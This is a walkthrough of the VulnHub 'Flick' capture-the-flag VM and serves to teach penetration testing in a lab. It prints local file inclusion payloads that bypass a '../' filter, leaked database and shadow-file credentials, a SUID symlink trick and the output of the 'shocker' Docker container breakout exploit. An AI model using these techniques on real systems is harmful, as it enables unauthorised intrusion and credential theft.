So here’s my guide to another CTF from VulnHub called Flick:1. This one was actually released before Tr0ll:1, but I finished this one after as I was trolled so much on the first one I had to take a break and try something else.
As usual, I made sure the VM was NAT’ed, booted and -sn ‘d my way to an IP, followed by a full port scan.
2 ports, 22 running OpenSSH and an unknown service on 8881. There was some interesting text appearing as can be seen above (there’s enough to see but I’ve cropped the rest). I telnet’ed to 8881.
So I’m looking to flick a switch and open a door. As you can see anything I pass is returned to me with ‘OK’ which clearly is not. Poirot here is already beginning to lose hope as this and SSH (which of course I don’t have any passwords for) are seemingly the only 2 things I have to go on….
Next. SSH to the box to see if anything is out of the ordinary.
A nice ASCII title and my expected password prompt. But what’s this you say? Loads of ostensibly trivial hex? (once again there’s lots more above but I’ve cropped the picture). Ok so my leads so far are random hex, or the random hex.
Let’s decode the random hex.
Shazam. This looks like Base64. Let’s decode…
…and decode, and decode, and decode. Burp’s decoder made this very easy fortunately. I didn’t count but it was more than 10 times in total. But alas, could this string be a password? We could guess some usernames and see if we can now SSH in, but I was thinking more of our switch that we need to flick.
With only 2 ports to start with and both have now been looked at, the “door” almost has to be a metaphor for port. So here we go again.
Ok, 80’s up. I appear to have been overrun by cats….. No, I didn’t say “awww” either.
The site only seemed to have one other page, a login page. Every attempt to modify the URL to point elsewhere resulted in the second screenshot below, of which none of the links went anywhere.
I tried admin:admin, admin:password etc just to see, no joy. I then saw that the page stated that demo credentials needed to be used, so I tried demo:password, demo:demo and I (unfortunately I suppose) managed to guess the credentials of demo:demo123 a few tries later.
Once logged in there were 2 immediately apparent differences. The ability to download pictures and upload new ones. Contrary to the title of this post, there was nothing ‘quick’ about any of the tricks I tried to get a shell. I uploaded a shell without issue but couldn’t for the life of me get it to give me anything meaningful. My upload was stored on the second page and even though I managed to get it to connect to my netcat listener, something was going wrong as it was just sending the text back. If I were smarter and could code a better shell maybe this would have worked, who knows.
Time to move away from the upload and go to the download. I intercepted the below request when downloading a picture.
Woohoo, a file path. The LFI minions in my head scream out to me and I go to work. Strike 1…
/image/download?filename=../../etc/passwd /image/download?filename=../../../etc/passwd /image/download?filename=../../../../etc/passwd
All of the above attempts resulted in a page which contained the following:
My ../ seemed to be stripped out in the response, so I tested the theory further by adding a ….// into the file path. Strike 2…
/image/download?filename=../....//../etc/passwd
Which resulted in the following:
Great, it’s only stripping out a single ../ so I padded out the file path until I struck gold. Strike 3?
/image/download?filename=....//....//....//....//etc/passwd
No, home run. I noted a couple of users that were quickly identifiable. It was at this point that I admit to being stuck for ages, as I tried poking around other locations to try and enumerate further information but didn’t get anywhere meaningful. Then I finally noticed the ‘laravel’ cookie and having no idea what laravel was, a subsequent Google search told me it was a PHP framework and further reading identified a database config file to be located at app/config/database.php. Back in Burp repeater I changed the location and removed ….// one set at a time until…
/image/download?filename=....//app/config/database.php
<!--?php return array( /* |-------------------------------------------------------------------------- | PDO Fetch Style |-------------------------------------------------------------------------- | | By default, database results will be returned as instances of the PHP | stdClass object; however, you may desire to retrieve records in an | array format for simplicity. Here you can tweak the fetch style. | */ 'fetch' => PDO::FETCH_CLASS,
/*
|--------------------------------------------------------------------------
| Default Database Connection Name
|--------------------------------------------------------------------------
|
| Here you may specify which of the database connections below you wish
| to use as your default connection for all database work. Of course
| you may use many connections at once using the Database library.
|
*/
// Jan 2014 note: We have moved away from the old crappy SQLite 2.x database and moved
// on to the new and improved MySQL database. So, I will just comment out this as it is
// no longer in use
//'default' => 'sqlite',
'default' => 'mysql',
/*
|--------------------------------------------------------------------------
| Database Connections
|--------------------------------------------------------------------------
|
| Here are each of the database connections setup for your application.
| Of course, examples of configuring each database platform that is
| supported by Laravel is shown below to make development simple.
|
|
| All database work in Laravel is done through the PHP PDO facilities
| so make sure you have the driver for your particular database of
| choice installed on your machine before you begin development.
|
*/
'connections' => array(
'sqlite' => array(
'driver' => 'sqlite',
'database' => __DIR__.'/../database/production.sqlite', // OLD DATABASE NO LONGER IN USE!
'prefix' => '',
),
'mysql' => array(
'driver' => 'mysql',
'host' => 'localhost',
'database' => 'flick',
'username' => 'flick',
'password' => 'resuddecNeydmar3',
'charset' => 'utf8',
'collation' => 'utf8_unicode_ci',
'prefix' => '',
),
'pgsql' => array(
'driver' => 'pgsql',
'host' => 'localhost',
'database' => 'forge',
'username' => 'forge',
'password' => '',
'charset' => 'utf8',
'prefix' => '',
'schema' => 'public',
),
'sqlsrv' => array(
'driver' => 'sqlsrv',
'host' => 'localhost',
'database' => 'database',
'username' => 'root',
'password' => '',
'prefix' => '',
Now we’re in business. We have a file path to an ‘old’ SQLite database which I’m going to check out first. Back to repeater.
/image/download?filename=....//app/database/production.sqlite
Why I do believe those are credentials! Robin’s password didn’t work, but fortunately Dean’s did.
There were 2 files in dean’s home directory, message.txt and an executable called real_docker. Sudo -l didn’t work so I started by looking at the txt file which stated that Dean should be able to read Robin’s dockerfile and provides a location.
So I run the read_docker program and the syntax says I need to pass the location. Copying the one from the message.txt outputs the following.
I noticed the the SUID bit was set on the program so I could run it as the owner, Robin.
-rwsr-xr-x 1 robin robin 8987 Aug 4 14:45 read_docker
I tried all manner of creating files/folders in various places to see if I could write something that would execute as Robin and nothing worked. I finally created a link to Robin’s profile and tried to get Docker to read it.
dean@flick:~$ ln /home/robin/.bashrc Dockerfile ln: accessing `/home/robin/.bashrc': Permission denied dean@flick:~$ ln -s /home/robin/.bashrc Dockerfile dean@flick:~$ ls -la total 40 drwxr-xr-x 3 dean dean 4096 Sep 11 17:13 . drwxr-xr-x 4 root root 4096 Aug 2 12:05 .. -rw-r--r-- 1 dean dean 220 Aug 2 12:05 .bash_logout -rw-r--r-- 1 dean dean 3486 Aug 2 12:05 .bashrc drwx------ 2 dean dean 4096 Aug 2 12:31 .cache lrwxrwxrwx 1 dean dean 19 Sep 11 17:13 Dockerfile -> /home/robin/.bashrc -rw-r--r-- 1 root root 1250 Aug 4 12:56 message.txt -rw-r--r-- 1 dean dean 675 Aug 2 12:05 .profile -rwsr-xr-x 1 robin robin 8987 Aug 4 14:45 read_docker dean@flick:~$ ./read_docker /home/dean/ # ~/.bashrc: executed by bash(1) for non-login shells. # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything [ -z "$PS1" ] && return ...
I tried a standard hard link first which failed, then a symbolic link which didn’t which resulted in successfully reading robin’s .bashrc file. So maybe if it exists I should try and grab his SSH private key?
Created a file, made it read-only and logged in.
A sudo -l to see what robin can do works:
robin@flick:~$ sudo -l Matching Defaults entries for robin on this host: env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User robin may run the following commands on this host: (root) NOPASSWD: /opt/start_apache/restart.sh
Off we go. I wanted to read what the script was actually doing but I didn’t have permission. Running it didn’t give me any indication apart from what I expected it to say.
robin@flick:~$ sudo /opt/start_apache/restart.sh * Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName [ OK ] start_apache-8000: stopped start_apache-8000: started robin@flick:~$
So I left the script and then looked at the Docker program. After wasting time running nearly every command except the one I actually needed, I looked at the version…(pentest 101 fail).
robin@flick:~$ docker version Client version: 0.11.0 Client API version: 1.11 Go version (client): go1.2.1 Git commit (client): 15209c3 Server version: 0.11.0 Server API version: 1.11 Git commit (server): 15209c3 Go version (server): go1.2.1 Last stable version: 1.2.0, please update docker robin@flick:~$
Docker is out of date. Let’s see if there’s anything we can play with here. Quick Googling identifies the following:
Shortly after I found the file on github. So I grabbed it and looked and examined the file.
This is a Docker Image used to test container breakout exploit first posted here: http://stealth.openwall.net/xSports/shocker.c The container will attempt to find and print contents of the Docker host's /etc/shadow. ## Usage To run the PoC exploit use: docker run gabrtv/shocker ## Building To modify source and rebuild, use: docker build -t gabrtv/shocker . ...
So I ran the first command, the script downloaded some files, worked some magic and….
[!] Win! /etc/shadow output follows: root:$6$rOirJ02l$HmauQaCRxYGzGyLeUcNOo0d9FkmJ0Hp2qA8DhAIWd7gJs32MskKYEf6dPxrwZ8XyaL0CXtFe4HBvtMHQCfLG80:16283:0:99999:7::: daemon:*:16283:0:99999:7::: bin:*:16283:0:99999:7::: sys:*:16283:0:99999:7::: sync:*:16283:0:99999:7::: games:*:16283:0:99999:7::: man:*:16283:0:99999:7::: lp:*:16283:0:99999:7::: mail:*:16283:0:99999:7::: news:*:16283:0:99999:7::: uucp:*:16283:0:99999:7::: proxy:*:16283:0:99999:7::: www-data:*:16283:0:99999:7::: backup:*:16283:0:99999:7::: list:*:16283:0:99999:7::: irc:*:16283:0:99999:7::: gnats:*:16283:0:99999:7::: nobody:*:16283:0:99999:7::: libuuid:!:16283:0:99999:7::: syslog:*:16283:0:99999:7::: messagebus:*:16283:0:99999:7::: whoopsie:*:16283:0:99999:7::: landscape:*:16283:0:99999:7::: sshd:*:16283:0:99999:7::: robin:$6$j5lRdjqM$HrKVVv4FSZ0StRLgXSe3Nt8bvsaE6yPdRRvggXdW4lIxmVs8t8ny1WWXNkdiF/ccAWU.jthvwQKgWAG5JtZBv1:16284:0:99999:7::: mysql:!:16283:0:99999:7::: dean:$6$kLXH5HBN$vAiHt14LlYtq9EDoIffiZFP9goUeyvn5cHTaehsysvg9TFQlSAMZuGer5OqEef2ONAeMHi6hU.OygO7Uo6b8Z.:16284:0:99999:7:::
So far so good. I thought if the script pulls out the shadow file, maybe it can be modified to pull out another file? A flag file maybe?
I modified the above to /root/flag.txt , ran docker build -t gabrtv/shocker . to recompile as originally shown in the source file, and finally re-ran it.
robin@flick:~/shocker$ docker run gabrtv/shocker [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***] [*] Resolving 'root/flag.txt' [*] Found . [*] Found mnt [*] Found home [*] Found root [+] Match: root ino=130833 [*] Brute forcing remaining 32bit. This can take a while... [*] (root) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving 'flag.txt' [*] Found . [*] Found .bashrc [*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc [*] Found flag.txt [+] Match: flag.txt ino=165017 [*] Brute forcing remaining 32bit. This can take a while... [*] (flag.txt) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Got a final handle! [*] #=8, 1, char nh[] = {0x99, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Win! /etc/shadow output follows: Errr, you are close, but this is not the flag you are looking for. robin@flick:~/shocker$
Haha, still being trolled this far in! Looking back over the output I noticed a folder present as well as the fictitious flag.txt. Let’s look in there instead.
Modify, recompile, run and…
robin@flick:~/shocker$ docker run gabrtv/shocker [***] docker VMM-container breakout Po(C) 2014 [***] [***] The tea from the 90's kicks your sekurity again. [***] [***] If you have pending sec consulting, I'll happily [***] [***] forward to my friends who drink secury-tea too! [***] [*] Resolving 'root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/' [*] Found . [*] Found mnt [*] Found home [*] Found root [+] Match: root ino=130833 [*] Brute forcing remaining 32bit. This can take a while... [*] (root) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x11, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving '53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/' [*] Found . [*] Found .bashrc [*] Found 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc [+] Match: 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc ino=138648 [*] Brute forcing remaining 32bit. This can take a while... [*] (53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x98, 0x1d, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [*] Resolving '' [*] Found . [*] Found real_flag.txt [*] Found .. [*] Brute forcing remaining 32bit. This can take a while... [-] Cannot find valid handle!: Bad file descriptor robin@flick:~/shocker$
Aha, this must be it! real_flag.txt ! So for my final ‘quick trick to beat the flick’ I modified the script one last time, recompiled and ran it again…
[*] Resolving 'real_flag.txt' [*] Found . [*] Found real_flag.txt [+] Match: real_flag.txt ino=165015 [*] Brute forcing remaining 32bit. This can take a while... [*] (real_flag.txt) Trying: 0x00000000 [*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Got a final handle! [*] #=8, 1, char nh[] = {0x97, 0x84, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00}; [!] Win! /etc/shadow output follows: Congrats! You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :) ciao for now! @leonjza

Jackpot